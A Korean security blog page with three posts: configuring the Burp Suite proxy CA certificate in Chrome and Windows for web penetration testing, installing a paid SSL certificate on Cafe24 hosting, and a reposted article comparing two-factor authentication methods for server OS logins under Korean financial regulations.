태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

서버보안 (43)



웹 모의해킹에 필수적인 도구가 바로 프락시 툴이다. HTTP 프록시(Proxy)는 서버의 일종으로서 웹브라우저(IE, 에지, 크롬, 사파리 등)와 웹서버(Apache, Tomcat, NGINX 등)가 주고 받는 요청(Request)과 응답(Response)를 중간에 가로채고 분석할 수 있으며 전달되는 값을 변조할 수 있는 도구다.


때문에 HTTP Proxy 툴을 이용하면 암호화 되지 않은채 웹브라우저와 웹서버가 주고 받는 모든 정보를 가로채 볼 수 있다. 당연히 보안 취약점이 발견되면 즉각적으로 변조 공격을 수행할 수 있는 해킹도구로 악용될 수 있는 도구다.


모의 해킹을 공부할 때 또는 실제 모의 해킹을 할 때 SSL이 적용된 경우 HTTP Proxy를 설정하고 웹 서핑을 해보면 이런 오류가 발생한다. 포털사이트인 daum.net에 접속했을 때의 화면이다.


Proxy 설정했을 때 브라우저 경고창Proxy 설정했을 때 브라우저 경고창


이 오류는 크롬에서 발생시키는 경고메시지 인데... 크롬은 www.daum.net 에 요청했고 www.daum.net에서 보내준 SSL 인증서를 검증하는데 실제 수신된 곳은 www.daum.net이 아니고 HTTP Proxy 이므로 인증서와 송신서버가 달라서 발생하는 에러다.


이 문제를 해결하기 위해서는 HTTP Proxy의 인증서가 필요하다. 최근 사용하는 HTTP Prox는 버프스위트(Burp Suite) 기준으로 HTTP Proxy 인증서 설정 방법을 기록해 둔다.


먼저 PC에 등록할 Burp Suite HTTP Proxy 용 인증서를 다운받는다. 다운은 크롬 브라우저에서 http://burp 에 접속한다. 단, 프록시가 설정되어 있어야 하고 Burp Suite가 실행 중 이어야 한다.



크롬의 브라우저 창 오른쪽 상단에 있는 CA Certificate 를 클릭해 인증서 파일을 다운로드 받는다.



적당한 위치에 cacert.der 파일을 저장해 둔다. 나중에 인증서 등록 마법사에서 이 파일을 선택해 등록해야 한다.


다운로드 받은 인증서는 크롬 브라우저의 "설정" - "고급" - "개인정보 및 보안" 메뉴에 있는 인증서관리 메뉴에서 등록한다.



"인증서 관리" 메뉴가 보인다. 이 메뉴를 클릭하면 Windows의 인증서 관리 창이 실행된다.



인증서 관리창이 실행되면 "신뢰할 수 있는 루트 인증 기관" 탭이 보인다. 이 탭에 다운로드 받은 cacert.der 파일을 등록해야 한다. 하단에 있느 몇개의 버튼 중 "가져오기" 버튼을 클릭하면 인증서 가져오기 마법사가 실행된다.



인증서 가져오기 마법사에서 "가져오기" 버튼을 클릭하면 파일을 선택하는 창이 실행되는데.. 하단에서 "모든 파일(*.*)"을 선택해준 뒤 앞에서 다운로드 받은 cacert.der 파일이 있는 곳으로 이동하여 선택해 준다. 그리고 "열기" 버튼을 클릭한다.



"모든 인증서를 다음 저장소에 저장"을 선택하고 "신뢰할 수 있는 루트 인증 기관"을 선택한다.



경우에 따라 아래와 같은 보안 경고 창이 실행되는데... "예"를 클릭해 인증서를 설치한다.



인증서 등록이 되었다면 "신뢰할 수 있는 루트 인증 기관" 목록에 앞에서 등록한 인증서가 정상적으로 등록되어 있는지 확인한다.


그런 뒤 다음에 접속하고 "자물쇠 표시"를 선택해 인증서 정보를 확인하면 발급대상이 www.daum.net 인데 발급자가 PortSwigger CA로 되어 있다.



이제 SSL이 적용된 웹사이트도 HTTP Proxy가 설정된 상태에서 정상적으로 서핑할 수 있으며 HTTP Proxy를 테스트할 수 있다.






오래 전 부터 이런 저런 테스트 용도로 CAFE24의 저렴한 웹 호스팅을 사용하고 있다. 가장 저렴한 절약형이 월500원, 일반형이 월1,100원이다. 물론 더 비싸고 트래픽도 빵빵하게 주는 호스팅도 있지만 이런저런 게시판(워드프레스, 제로보드, 그누보드 등) 테스트용으로는 충분하다.

그리고 이번엔 웹호스팅에 SSL 인증서 적용을 테스트 했다. 웹서버에 SSL 인증서를 적용하는 것을 일반적으로 "보안서버 구축"이라고 부르는데... 이건 사실 엉터리 용어다. 서버가 웹서버만 있는 것도 아닌데 서버에서 실행되는 여러 서비스 중에서 웹서비스에 SSL(Secure Socket Layer)을 이용한 웹 암호화 통신을 적용하는데 "보안서버 구축"이라는 거창한 용어를 붙이는 것은 겉멋만 들은 우리나라 일부 공무원들의 허세(?)일 듯 싶다. 

SSL 인증서란?

SSL인증서를 이해하기 위해서는 먼저 SSL(Secure Socket Layer)가 무엇인지 이해해야 한다. SSL은 사실 번역조차 쉽지 않다. "보안 접속 계층???" 정도로 번역이 가능하겠지만 궂이 번역하지 말자. OSI 7 Layer와 TCP/IP 그리고 HTTP를 공부하다 보면 그냥 이해가 된다. 우리가 영어로 "Good Morning"이라고 인사하는데 궂이 번역해서 이해하지는 않지 않는가? 공부하다 보면 똑같아 진다.

SSL은 넷스케이프가 흥하던 웹 초창기 시절 넷스케이프에서 만든 암호 통신을 위한 규약(Protocol)이다. 즉 두 상대가 통신할 때 상대방(전송자)의 신원을 보증하고 전송하는 데이터의 기밀성(비밀)을 유지하며 전송된 데이터가 변조되지 않았음(무결성)을 보장해주기 위한 암호통신프로토콜이라고 이해하면 된다. 여기서 웹사이트의 신원 보증이라 함은 인증기관에서 SSL인증서가 발급될 때 등록된 웹사이트 주소와 실제 이용자가 접속한 웹사이트의 주소가 일치함을 확인하는 것을 말한다. 

현재는 SSL의 결함을 보완한 상위버전인 TLS(Transport Layer Security)로 바뀌었지만 워낙 SSL이라는 이름이 유명하기 때문에 현재도 SSL이라고 부르며 웹서버가 클라이언트(웹 브라우저)와 암호화 통신을 시작할 때 서버의 신원 보증 및 통신에 사용할 암호키를 포함하고 있는 전자적인 문서인 SSL인증서도 실제로는 TLS프로토콜을 사용하지만 SSL인증서라고 부른다.

결론적으로 SSL인증서는 암호화통신을 할 때 웹사이트의 신원을 보증하는 신분증의 역할과 암호통신을 할 때 웹브라우저에게 공개할 암호키인 공개키를 포함하는 전자적인 문서라고 이해하면 된다.

SSL인증서를 이용해 암호통신을 수행하는 웹사이트에 접속하면 웹브라우저의 한쪽 구석에 자물쇠 표시가 되거나 "안전함" 등의 문구가 뜨는 것을 볼 수 있으며 주소가 표시되는 URL도 "https" 로 표시된다. 반대로 암호화 통신을 지원하지 않는 웹사이트에 접속하면 "주의 요함"이나 적색 표시 등의 표시가 되며 주소의 URL도 "http"로 표시된다. 즉 SSL이 적용되지 않은 웹사이트에서는 로그인 및 개인정보수정 등의 기능을 수행할 때 ID, 비밀번호, 주소, 생일, 계좌번호, 주민등록번호 등의 개인정보가 암호화되지 않고 인터넷으로 전송된다는 의미다. 웹브라우저와 웹사이트 사이에서 누군가가 통신을 감청하면 바로 개인정보가 "털린다"고 보면 된다.

그래서 정보통신망법 및 개인정보보호법에서는 인터넷을 통해 개인정보를 수집하고 전송하는 정보통신서비스 제공자와 개인정보처리자에 대해 SSL등과 같은 방법으로 암호화 통신을 하도록 의무화하고 있다.

카페24 웹 호스팅의 SSL 적용 여부

카페24에 저렴한 웹 호스팅을 사용하면 기본적으로 "카페24ID.cafe24.com" 이라는 웹 주소(URL)을 부여 받는다. 그리고 이 URL로 접속할 때는 기본적으로 웹서버에 멀티도메인 SSL인증서(*.cafe24.com)가 적용되어 있기 때문에 https 접속이 가능하다.

URL주소 창에 자물쇠 표시가 뜨면서 웹사이트의 신원확인과 암호통신이 정상적으로 이루어지고 있음을 알 수 있다.

그러나 cafe24.com이라는 주소 보다는 자신만의 아이덴티티를 표현해줄 수 있는 주소를 사용하고 싶어하는 경우가 대부분이다. 때문에 CAFE24에서는 개인적으로, 또는 호스팅을 신청한 회사가 별도의 tiger.com등과 같은 도메인을 구입하고 id가 abc인 abc.cafe24.com에 www.tiger.com 이라는 도메인주소(URL)로 접속하도록 도메인 연결 메뉴에서 연결하면 www.tiger.com으로도 abc.cafe24.com에 접속할 수 있도록 지원하고 있다.

하지만 암호통신을 위해 https://www.tiger.com 이라고 접속하면 다음과 같은 에러가 뜬다.

이 에러는 호스팅을 하고 있는 웹서버에 tiger.com 이라는 사용자의 도메인이름으로 발급된 SSL인증서가 적용어있지 않기 때문에 발생한다. 이용자는 웹브라우저에 https://www.tiger.com 이라는 웹사이트에 SSL인증서를 이용한 암호통신방식으로 접속하고자 했지만 웹사이트에는 www.tiger.com 이라는 도메인주소로 발급된 SSL인증서가 적용되어 있지 않기 때문이다.

이 문제를 해결하기 위해서는 www.tiger.com 혹은 tiger.com 이라는 도메인주소로 인증기관에서 SSL인증서를 발급받아 호스팅을 하고 있는 웹서버에 적용해야 한다.

Cafe24 웹호스팅에 SSL인증서 발급받아 적용하기

결론적으로 말하자면 무료SSL인증서를 발급받아 적용하는 것은 실패했다. 가장 대표적인 Let's Encrypt SSL 인증서는 몇가지 방법을 통해 적용하고자 했지만 모두 마지막 인증서 발급 신청단계에서 원인을 알 수 없는 오류가 발생하거나 호스팅 받고 있는 웹사이트에 올린 인증키 파일에 접근할 수 없다는 오류가 나오면서 사이트 검증이 되지 않는다. (인증기관이 도메인에 SSL인증서를 발급해줄 때는 실제 웹사이트에 인증기관이 요구하는 파일을 업로드하고 인증서를 요청하는 도메인주소에 접속해 도메인의 소유자가 맞는지를 확인한다.) 웹 브라우저에서 접근하면 정상적으로 키 파일을 다운로드 받고 접근이 가능한데 Cafe24에서 Let's Encrypt 관련 주소를 차단해서 그런지 해외 인증기관에서는 접근이 불가능하다고 표시된다.

그리고 된다 하더라도 Let's Encrypt SSL인증서는 유효기간이 3개월이다. 즉 3개월 마다 재발급 받아 다시 다시 적용해야 하는데... 이때마다 카페24에 별도로 요청을 해야하니... 너무도 귀찮은 작업이 될 것이어서 그냥 포기했다.

그러다 찾은 것이 "저렴한 유료 SSL인증서"를 발급받아 적용하는 것이다. 찾아본 바에 따르면 SecureSign이라는 Comodo 인증서 리셀러가 12,000원/1년의 SSL인증서를 발급해주고 있었다. 그래서 이 인증서를 발급받고 Cafe24 호스팅에 연결된 나만의 도메인에 적용을 해보았다.

먼저 내 호스팅 사이트에서 도메인 소유자의 신원정보를 입력하여 개인키와 CSR(Certificate Signing Request)을 생성해야 한다. CSR에는 도메인에 대한 정보와 공개키가 포함되어 있다.

위와 같이 카페24 호스팅 관리자페이지에서 CSR과 개인키를 생성하고 생성된 CSR과 KEY(개인키)를 다운받아 PC혹은 USB등 안전한 장소에 저장해야 한다.

아래는 다운받아 노트북PC에 저장한 화면이다. ssl.csr이 공개키와 도메인정보가 포함된 CSR파일이고 ssl.key가 개인키다.

CSR과 개인키가 준비되었다면 SecureSign 사이트에 회원가입을 하고 12,000원/1년짜리 Sectigo PositiveSSL 인증서 신청페이지로 간다.

위와 같이 신청하고자 하는 도메인의 인증서 담당자를 선택해야 한다. 메일주소가 실제로 존재하는지 꼭 확인해야 한다.

다음은 인증서 발급을 위한 정보를 입력해야 한다. 신청하고자 하는 도메인 주소(CN)을 입력한다. tiger.com 이라면 tiger.com을 입력하면 된다. tiger.com을 입력하면 기본적으로 tiger.com 혹은 www.tiger.com 두개의 도메인에 대해 SSL인증서를 적용할 수 있다.

웹서버는 자신의 웹서버에 맞는 엔진을 선택하면 된다. 내 경우 cafe24.com 호스팅은 nginx를 사용하고 있었다.

그리고 CSR은 CSR직접입력을 선택해야 한다. 그리고 앞의 CAFE24 CSR생성 과정에서 다운로드 받은 두개의 파일 중 ssl.csr을 노트패드 등으로 열어 전체를 선택한 뒤 위 화면처럼 붙여넣는다. -----BEGIN 부터 REQUEST-----까지 모두 선택해야 한다.

그리고 도메인권한인증 방법을 EMAIL로 선택한 뒤 왼쪽의 파란 버튼을 눌러 인증할 메일주소를 선택한다. 이 메일 주소는 실제해야 하며 선택한 메일주소로 인증메일이 보내진다.

여기서도 http를 선택하고 관련 파일을 호스팅 웹서버의 주소에 생성해봤지만 접근이 차단되는지 인증이 실패한다. 마찬가지로 직접 브라우저에 인증주소를 입력하면 정상적으로 접근이 된다. Let's Encrypt SSL 인증서 생성과정에서 접근이 안되는 것과 동일한 증상이다. 진짜로 CAFE24에서 이 인증방법을 막은 것인지 궁금하다.

다음단계로 넘어가면 인증서 신청은 완료된다. 아래 화면의 경우 재발급을 신청한 경우다. 재발급 과정도 마찬가지 과정을 거친다. 1년 내에는 무제한으로 재발급을 받을 수 있다.

다음은 신청한 인증서에 대한 실제 발급절차를 진행하기 위한 "결제/제출" 단계다.

위 화면처럼 주문번호와 도메인(CN)이 보이고 "제출하기" 버튼이 표시되어 있다. 제출하기를 누르면 실제 인증서 발급과정이 진행된다.

제출이 완료되면 다음과 같이 화면이 바뀐다. 인증종류는 앞에서 선택한 EMAIL로 표시되고 있다.

EMAIL로 인증방법을 선택했기 때문에 해당 이메일주소로 인증메일이 전송되어 있다. 아래 화면은 실제 전송된 인증메일의 내용이다.


이 경우 다음의 스마트워클을 통해 인증메일을 받은 화면이다. 도메인을 Cafe24에서 구입했고 구입한 메일의 메일주소를 다음 스마트워크를 통해 관리하고 있기 때문에 메일화면이 다음메일 환경이다.

메일의 본문에 보면 here를 클릭하고 아래에 표시된 validation code를 입력하라고 되어 있다. 코드를 복사해두고 here를 클릭한다.

복사한 코드를 붙여넣기한 뒤 Next를 클릭한다. Next가 Close로 바뀐다.

이메일 인증이 완료되었다.

잠시 후 다시 인증서 발급페이지로 가서 화면을 리프레쉬해보면 다음과 같이 인증서가 발급되어있고 다운로드가 가능한 상태가 되어 있음을 알 수 있다.

다운로드 버튼을 눌러 인증서를 다운로드 받는다. 아래 화면처럼 도메인주소와 발급일자가 포함된 zip 파일로 다운로드되는데 해당 파일의 압축을 해제한다.

압축을 풀면 그 안에 도메인주소와 발급일시가 포함된 .crt.pem 파이이 보인다. 이 파일을 노트패드(아래에서는 vscode에디터)로 열고 전체를 선택해 복사한다.

복사한 내용은 카페24의 "인증서관리" - "외부인증서 관리" 메뉴로 가서 "인증서(SSL CRT)"항목에 붙여넣기한다. 

붙여넣은 뒤 "인증서 확인"을 누르면 아래에 SSL 인증서 정보가 표시된다. 도메인과 인증서를 발행한 CA(인증기관)이 표시된다.

다음은 개인키를 복사해 붙여넣어야 한다. 처음 카페24에서 다운로드 받은 CSR과 개인키(key) 파일에서 ssl.key 파일을 노트패드로 열고 전체를 선택해 복사한다.


그리고 아래와 같이 "개인키(Private Key)" 입력창에 붙여 넣는다. 비밀번호에는 CSR 생성 시 입력한 비밀번호를 넣는다.

그리고 화면 하단에 있는 신청하기 버튼을 누르면 아래 처럼 SSL 인증서 설치 요청이 접수된다. 

3영업일 이내에 설치해 주겠다는 메시지 창이 보여진다.

하지만... 여지껏 Cafe24에 뭔가 요청해서 하루 안에 안된적이 없었다. 참..부지런하다는 생각이 들었다고나 할까..아니면 뭔가 시스템이 잘 구축되어 있어 클릭~클릭~하면 적용되도록 자동화를 잘해뒀다고나 할까.. 

어찌됐든.. 1영업일도 안지났는데... 바로 적용이되었다.

"대기" 상태에서 "연결 PORT(43871)"로 바로 적용되었다. 일요일 오후에 적용하고 신청했는데.. 월요일 12시경에 확인하니 적용이되어 있었다.

얼른... https://~~~.com으로 접속해보았다.

브라우저의 주소창에 "주의 요함"이라고 떴었는데 자물쇠 표시가 되면서 안전한 사이트로 변신했다.

Cafe24에서는 자체적으로도 연3만원대의 SSL인증서를 판매하고 자동으로 적용할 수 있는... 더 편리한 기능을 제공하고 있다. 만약 쇼밍몰이나 많은 사람이 방문하는 비즈니스 목적의 웹사이트라면 Cafe24에서 판매하는 SSL인증서를 구입해 적용하는 것이 더 편리하다.


  • 늘품아빠 2019.04.08 14:45 신고

    잘 보구 갑니다.
    얼마전 무료 SSL인증서 가지고 서버 세팅하느라 고생했던 기억이 납니다.
    구글링하면 없는게 없더라고요.

    • taeho Tae-Ho 2019.04.08 16:23 신고

      오죽하면 "구글신에게 물어보라"는 말이 있을까요.. ㅎㅎ
      맞습니다. 무료 인증서도 있는데.. 어찌된 일인지 cafe24의 웹호스팅은 인증기관에서 검증하는 단계에서 접근이 안되는가 보더라구요.

  • 에스델 ♥ 2019.04.09 09:32 신고

    카페 24의 절약형 웹호스팅 가격이
    정말 저렴하네요. ^^
    카페 24 호스팅에 외부 SSL 인증서
    적용하는 방법 잘 보았습니다.
    좋은 하루 보내세요!

    • taeho Tae-Ho 2019.04.09 23:10 신고

      네..국내에서 제일 저렴하죠... 장난감처럼 갖고 놀기 딱 좋은 호스팅 서비스죠~ ^^

    • 키스세븐 2019.04.10 10:25 신고

      저기 딴지는 아니고... 국내에서 제일 저렴하지는 아니예요.
      예를들어 10년 넘게 운영중인 팀장닷컴의 경우 월250원이예요.
      카페24는 그나마 주는 하드와 트래픽량도 DCN서비스라며 짤라서 주는데, 팀장닷컴은 통째로 다 사용가능하거든요.
      찾아보면 더 있을 수도...

    • taeho Tae-Ho 2019.04.10 13:28 신고

      음..스펙을 비교해보니.. 몇가지 차이가 있는데요..
      DB사용 가능한 용량이라든가.. 이메일주소 지원개수.. CDN 및 스트리밍 지원여부 등...
      종합적으로 따져보면 cafe24가 나은데요..? 물론 월 사용료만 놓고 보면 팀장닷컴이 더 저렴하긴 하네요.. ^^

  • 키스세븐 2019.04.10 10:07 신고

    https의 중요성에 대해서는 인정하지 않을 수 없긴 한데...
    이게 반드시 유료라는 것이 좀 언잖네요. 개인 사용자는 그러기엔 부담이 있으니 말예요.
    이건 다시 말하면 돈을 따로 내지 않으면 "주의 요함"이 되는 상황이라... 돈을 더 안내서 주의 요함이 되는...ㅋ
    검색엔진 쪽에서 뭔가 다른 인증방식을 만들어줬으면 해요.

    • taeho Tae-Ho 2019.04.10 10:18 신고

      SSL인증서를 유료로 발급하도록 하는 이유는 웹서비스 제공자와 이용자 외의 공신력 있는 제3의 기관이 웹서비스제공자의 서비스에 대한 서비스제공자 신원보증을 하도록 하기 위함입니다. 그런 차원에서 최소한의 SSL인증서 발급시스템 운영비 보존 때문입니다. 단순히 암호화 통신만 한다면 궂이 인증기관의 SSL인증서를 웹사이트에 적용할 필요는 없습니다만 이용자가 접근하는 웹사이트가 인증서 발급시에 기재된 웹사이트와 맞는지 확인이 가능하도록 하려면 어쩔 수 없는 상황이라고 보입니다.
      제가 찾아본 바로는 유료 인증서 중에 가장 저렴한 곳이 본문에서 언급한 곳 이더라구요.

    • 키스세븐 2019.04.10 10:21 신고

      맞아요. 그래서 인정을 하긴 하는데...
      이 "주의 요함"이라는 것이
      1. 안전함
      2. 문제를 발견 못함
      3. 문제가 있을 수 있음
      4. 문제가 있음
      으로 볼 때 3번, 4번에 가깝기 때문에 그게 언짢다는 얘기예요. 문제를 발견하지 못할 수도 있는데 문제가 있을 수도 있다는 어감이거든요. 그래서 돈을 더 사용하지 않으면 문제가 있을 수 있다는 느낌이 싫은 거죠.

  • 2019.07.04 18:02

    비밀댓글입니다

    • taeho Tae-Ho 2019.07.04 21:43 신고

      어떤 이유인지는 알 수 없지만 개인키와 문자열을 복사해 붙여넣을 때 온전한 개인키가 입력되지 않은 것 아닌가 생각됩니다.
      저도 이 작업을 여러번 해본 것은 아니기 때문에 작업하신 과정을 하나씩 보면서 복기해 보지 않으면 이유를 알기는 어렵습니다. 도움이 못돼 죄송합니다~

  • ㄱㄱ 2019.11.15 19:54

    Cafe24 자동화 아닙니다... 요청을 보내면 담당자가 확인해서 수동으로 설치하는 것 같습니다... ssl 인증서 설치가 됐다는데 계속 406 오류가 나서 문의해보니 잘못 설치했다네요... cafe24에서 수동으로 재설치하니까 정상화됐습니다...

    • taeho Tae-Ho 2019.11.15 20:11 신고

      반자동이든 수동이든 아무렴 어때요? 잘처리해주기만 하면 되죠~



책장을 정리하다 2015년 ISACA 저널에 기고했던 글이 실린 책을 발견했다. 무언가 글을 써서 어딘가 활자로 인쇄되어 나오는 것이 어떤 느낌인지를 알려주었던 소중한 경험이었다. 당시 올렸던 글의 원문을 이제 3년 넘게 지난 시점에 블로그에 올려 본다.


특별기고


서버 운영체제 접속에 대한 이중 인증 시스템 구축 사례 분석


인증이란?


인증이라 함은 다중 사용자 시스템 또는 망운용 시스템에서 접속자의 로그인 정보를 확인하는 보안 절차를 말한다. 그 외에 전송된 메시지의 무결성과 송신자를 검증하는 과정도 인증에 해당된다. 


서버 또는 애플리케이션에서 사용자들에게 사용권(접근권한)을 부여하기 위해 접속자의 신분을 검증하는 과정을 로그인이라 하며 이 로그인 과정에 “인증” 과정이 필요함은 두말할 나위가 없다. 


사용자는 로그인에 성공하기 위해서 “식별(Identification)”과 “인증(Authentication)”의 두 단계를 통과해야 한다. “식별”은 로그인 하려는 사용자가 누구(who)인지 계정정보(ID)를 입력 받아 시스템에 접속 권한을 가진 사용자인가를 검증하는 단계이고 식별을 완료한 뒤 현재 접속하려는 사용자가 입력한 계정의 소유자가 맞는가를 비밀번호와 같은 검증 수단을 이용해 확인하는 것이 “인증” 이다. 이러한 “식별”과 “인증”과정은 접속자가볼 때 동시에 실행되는 것으로 보여야만 하며 통상적으로 “식별”과 “인증”을 모두 “인증”이라고 표현한다.


지식 기반 인증(ID/ Password)의 취약성과 새로운 인증 기술


일반적으로 대부분의 운영체제에서 기본적으로 적용되어 있는 인증방식은 보안에 가장 취약한 ID/ Password에 의존하는 지식 기반 인증이다. ID/ Password를 사용하는 인증방식은 사람의 기억력에 의존하는 짧은 문자열을 검증하는 방식이기 때문에 Password Guessing(패스워드 추측), Brute-Force Attack(무작위 대입), Password Dictionary(패스워드 사전)등의 잘 알려진 패스워드 공격에 취약하며 개인 정보 유출, 패스워드를 기록한 파일의 유출 등에 의해 서도 쉽게 공격을 받고 뚫리기도 한다. 


때문에 ID/Password 이외의 인증 수단에 대한 지속적인 연구가 이루어졌으며 [그림 1]과 같이 다양한 인증 기법이 개발되어 적용되고 있다.



이중 인증 (또는 2차 인증)


이중 인증이라 함은 인증의 보안성 강화를 위해 [그림 1]에 설명되어 있는 4가지 타입의 인증 기술 중 2가지 이상을 로그인에 인증 수단으로 적용하는 것을 의미한 다. 예를 들어 비밀번호를 사용하는 지식기반 인증을 사용하는 인증과정에 추가적으로 OTP 인증을 적용하면 이중 인증을 구현한 것이 된다. 


최근에 금융 시스템에 적용되어 널리 사용되기 시작한 QR코드나 문자 메시지를 이용한 mOTP, 그리고 ARS 또한 이중 인증을 구현하기 위한 수단으로 사용 될 수 있다. 


이중 인증 시스템을 구현함에 있어 중요한 포인트는 사용자가 접속을 시도할 때 인증 로직의 구현상 하나의 스텝에서 두 가지의 인증이 동시에 이루어져야 한다는 점이다. 만약 두 가지의 인증 단계가 각각 분리된 시스템에서 수행되거나 이중 인증이 이루어지는 시간 차가 클 경우 취약점이 발생할 수 있기 때문이다.


서버의 운영체제 계정에 대한 이중 인증 필요성


2011년 4월 발생한 N은행의 APT 공격에 이은 200여 대의 서버에 대한 DOS 공격(서버의 파일시스템 파괴), 2013년 발생한 신용카드 3사의 서버 침투에 이은 개인 정보 유출 사고는 대표적인 “전산 시스템 운영 및 유지 보수 인력에 대한 내부통제”가 미흡해서 발생한 사고라 할 수 있다. 


그리고 사고 발생의 주요 원인으로 “서버의 접속(로그 인)에 대한 통제 미흡”이 지목 받은 바 있다. 


금융감독원은 위의 두 사례를 비롯해 서버 접속에 대한 내부 통제 미흡으로 지속적인 보안사고가 발생하자 금융전산망의 서버를 APT 공격과 내부자에 의한 고의 또는 실수로 발생되는 보안 사고로부터 예방하기 위해 다음과 같이 전자금융감독규정을 개정하여 고시하였다.


제14조(정보처리시스템 보호대책) 금융회사 또는 전자금융업자는 정보처리시스템의 안전한 운영을 위하여 다음 각 호를 포함한 보호대책을 수립·운용하여야 한다. 

<중략>

9. 정보처리시스템의 운영체제(Operating System) 계정으로 로그인(Log in) 할 경우 계정 및 비밀번호 이외에 별도의 추가 인증절차를 의무적으로 시행 할 것<신설 2013.12.3.> 

10. 정보처리시스템 운영체제(Operating System) 계정에 대한 사용권한, 접근기록, 작업내역 등에 대한 상시 모니터링 체계를 수립하고, 이상 징후 발생시 필요한 통제조치를 즉시 시행할 것<신설 2013.12.3.> 


출처 : 국가법령정보센터(http://www.law.go.kr)


새롭게 추가된 14조 9항에서는 서버의 운영체제 계정으로 로그인 할 때 ID, 비밀번호 이외의 추가 인증 시스템을 구축하라고 의무화하고 있다. 이는 기업 내부의 서버 관리자와 엔지니어들이 Telnet, SSH, FTP 등의 도구를 사용해 서버에 로그인할 때 ID, 패스워드 이외에 추가적으로 OTP, PKI, ARS 등의 실사용자 인증을 한번 더 거쳐야 한다는 것을 의미한다. 그래야만 APT 공격에 의해 해커에게 장악된 PC나 서버를 통해 다른 개인정보나 금융정보가 저장되어 있는 서버까지 해커가 침투하는 것을 차단할 수 있기 때문이다. 


이어진 10항에서는 Telnet, FTP, SSH 등의 방법을 통해 서버에 접속한 운영자와 엔지니어가 작업하는 내용을 실시간으로 모니터링 해야 하며 적법하지 않은 명령어 실행 및 파일에 대한 읽기/쓰기/수정/삭제 등을 통제하라고 하고 있다. 


이 시행규칙은 금융권에서 발생하는 개인정보 유출 사고가 서버에 운영체제 계정으로 로그인한 운영자 또는 개발자가 임의로 데이터베이스를 조회하는 명령어를 실행하고 그 결과로 출력되는 정보를 파일로 저장(생성)하여 FTP를 통해 외부로 반출했던 과정을 염두에 둔 것으로 보인다. 


그렇다면 운영체제 계정으로 서버에 접속할 때 어떤 방식으로 이중 인증을 구현할 수 있는지 그 사례와 기 술적인 방법론에 대해 살펴보자.


운영체제 계정의 이중 인증 구축 사례


서버 운영체제 계정의 로그인 시 이중 인증을 구현하 는 방식은 크게 3가지 정도로 분류할 수 있다.


1. 접속 기기에서의 추가 인증 방식


이 방식은 [그림 2]와 같이 서버에 접속할 PC에 로그인 할 때 혹은 PC에 로그인 한 뒤 서버에 접속하는 시점에 먼저 추가인증을 받는 방식이다.



이 방식은 서버의 형상을 변경하지 않고 가장 손쉽게 이중 인증을 구현할 수 있도록 해준다. 하지만 이 방식을 서버 접속에 대한 이중 인증이라고 보기는 어렵다. 접속자의 추가 인증 시점과 서버의 로그인 시점이 일치하지도 않을 뿐만 아니라 실제 서버 운영체제의 계정으로 서버에 접속할 때 수행되는 인증 과정에 별도의 인증과정이 추가되는 것도 아니기 때문이다. 또한 서버의 접속 이력 로그와 추가 인증 로그에 실 사용자의 식별정보가 전혀 기록되지 않기 때문에 서버 접속 이력과 추가 인증 감사 로그를 매칭하여 서버에 로그 인한 실사용자를 특정하는 것도 불가능하다.


2. 인증 게이트웨이 방식


두 번째 방식은 현재 가장 많은 레퍼런스를 확보하고 있는 인증 게이트웨이 방식이다.



[그림 3]에서와 같이 인증 게이트웨이 방식은 흔히 SAC(System Access Control)라는 솔루션들이 채택하는 방식이다. 이 방식은 서버에 로그인 하려는 사용자가 먼저 인증 게이트웨이에 로그인 하고 해당 사용자가 로그인 할 수 있는 서버의 목록을 보여준 뒤 접속하려는 서버를 선택하여 서버에 실제 로그인하는 방식이다. 이 방식은 게이트웨이 서버에 접속하는 대신 PC나 노트북에 에이전트를 설치하고 에이전트가 대신 인증 게이트웨이에 접속하는 형태로 변형되기도 한다. 이 방식에서 이중 인증은 게이트웨이에 로그인 할 때 이루어지는데 앞에서 설명한 것과 마찬가지로 실제 서버에 로그인할 때는 ID/Password 인증만 수행하게 된다. 심지어 인증 게이트웨이에 로그인하면 서버 로그인 시에는 ID/Password를 묻지도 따지지도 않고 자동으로 ID와 Password를 입력해주는 보안 취약점을 만들기도 한다. 다만 인증 게이트웨이가 양쪽 세션에 대한 정보를 모두 갖고 매칭시켜 주기 때문에 서버에 접속한 실제 사용자가 누구인지를 식별할 수는 있다. 


그리고 이 방식의 가장 큰 문제점은 인증 게이트웨이를 거치지 않고 우회하여 서버에 로그인하는 행위를 차단하기 어렵다는 점이다. 서버마다 “TCP Wrapper”와 같은 오픈소스 도구를 설치하기도 하지만 관리자 권한에서 너무 쉽게 해제가 가능하기 때문에 사실 큰 의미가 없다. 장시간 운영하다 보면 여기 저기 우회하여 서버에 로그인 할 수 있는 홀이 발생할 수 밖에 없다.


3. 운영체제 PAM 인증 추가 방식


세 번째 방식은 [그림 4]와 같이 서버 운영체제가 지원하는 PAM이라 불리는 인증모듈에 추가 인증 모듈을 추가하는 방식이다. 



Unix 와 Linux 운영체제는 기본적으로 PAM(Pluggable Authentication Module)이라고 하는 인증 모듈을 사용자가 개발하여 추가할 수 있는 기능을 지원한다. (Windows는 GINA / CP 모듈을 지원함) 즉 ID와 Password 인증 후 추가된 인증 모듈을 운영 체제가 호출해주는 방식이다. 이 기술은 수 십 년의 역사를 가진 Unix/Linux/Windows 함께 발전하고 안정화되었기 때문에 가장 안전하고 확실한 기술이라고 할 수 있다. 다만 추가 인증을 구현하고자 하는 모든 서버에 추가 PAM 모듈을 설치해야 하는 부담이 있다. 모든 서버의 형상을 변경해야 하는 부담이 있지만 이 방식은 서버 접속에 대한 우회 접속을 완벽하게 차단 할 수 있기 때문에 보안 관점에서 가장 권고할 만한 기술이다. 그리고 서버의 감사로그에 접속한 실제 사용자의 자연인 정보(이름, 사번 등)를 기록할 수 있으며 보안운영체제인 SecureOS 솔루션과 연계할 경우 자연인 기반의 위협 명령어 실행 통제까지도 구현이 가능하기 때문에 보안성과 확장성 측면에서 가장 우월한 위치에 있다고 할 수 있다.


장단점 및 결론


기업 내부 인력 혹은 외주 인력이 서버에 로그인 하여 어떤 행위를 하든 통제하지 못하는 현실을 감안하면 이중 인증 시스템을 구축하여 얻을 수 있는 가장 큰 장점은 서버에 기록되는 로그인 감사 로그를 보고 실제 접속한 사람이 “누구(who)”인지를 특정할 수 있고 그 사람이 “작업한 내용”을 명확하게 재연할 수 있다는 것이다. 이는 서버의 보안수준을 획기적으로 높여주는 결과를 얻을 수 있다. 사실 현재까지도 “서버”는 보안의 관심 대상에서 다소 벗어나 있는 것이 현실이다. 




